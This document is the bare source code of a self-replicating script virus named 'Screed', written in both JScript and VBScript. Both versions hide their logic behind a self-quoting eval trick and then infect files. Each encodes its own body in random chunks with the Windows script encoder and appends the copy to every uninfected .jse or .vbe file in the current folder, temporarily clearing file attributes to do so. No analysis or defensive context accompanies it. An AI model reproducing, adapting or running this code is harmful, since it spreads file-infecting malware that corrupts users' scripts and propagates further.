JS:
  
a="\"";b="b=Ga=String.fromCharCode(34);b=G+a+b+a+G;eval(b.replace(new RegExp(String.fromCharCode(71),G+a+GgG+a+G),a))G;c=ActiveXObject;d=Gscripting.G;e=GG;with(Math){random(1);f=0;while(f<b.length){e+=new c(d+GencoderG).encodescriptfile(G.jsG,b.substr(f,g=round(random()*3)+1),0,0);e=e.substr(0,e.length-1)+b.substr(f+=g,h=round(random()*3));f+=h}}f=new c(d+GfilesystemobjectG);with(new Enumerator(f.getfolder(G.G).files))for(;!atEnd();moveNext())if(f.getextensionname(g=item()).toLowerCase()==GjseG)try{h=g.attributes;g.attributes=0;if(f.opentextfile(g).readall().search(/#@~/)<0)f.opentextfile(g,8).write(String.fromCharCode(10)+e);g.attributes=h}catch(z){}//Screed - roy g biv 02/03/06";eval(b.replace(/G/g,a))

VBS:

a=chr(34):b="b=Ga=chr(34):b=G+a+b+a+G:execute(replace(b,chr(71),a))G:c=Gscripting.G:d=GG:randomize:e=1:while e<=len(b):f=int(rnd()*3)+1:d=d+createobject(c+GencoderG).encodescriptfile(G.jsG,mid(b,e,f),0,0):g=int(rnd()*3):d=left(d,len(d)-1)+mid(b,e+f,g):e=e+f+g:wend:on error resume next:set e=createobject(c+GfilesystemobjectG):for each f in e.getfolder(G.G).files:if lcase(e.getextensionname(f))=GvbeGthen:g=f.attributes:f.attributes=0:if instr(e.opentextfile(f).readall,G#@~G)=0then e.opentextfile(f,8).write vbcrlf+d:end if:f.attributes=g:end if:next'Screed - roy g biv 02/03/06":execute(replace(b,"G",a))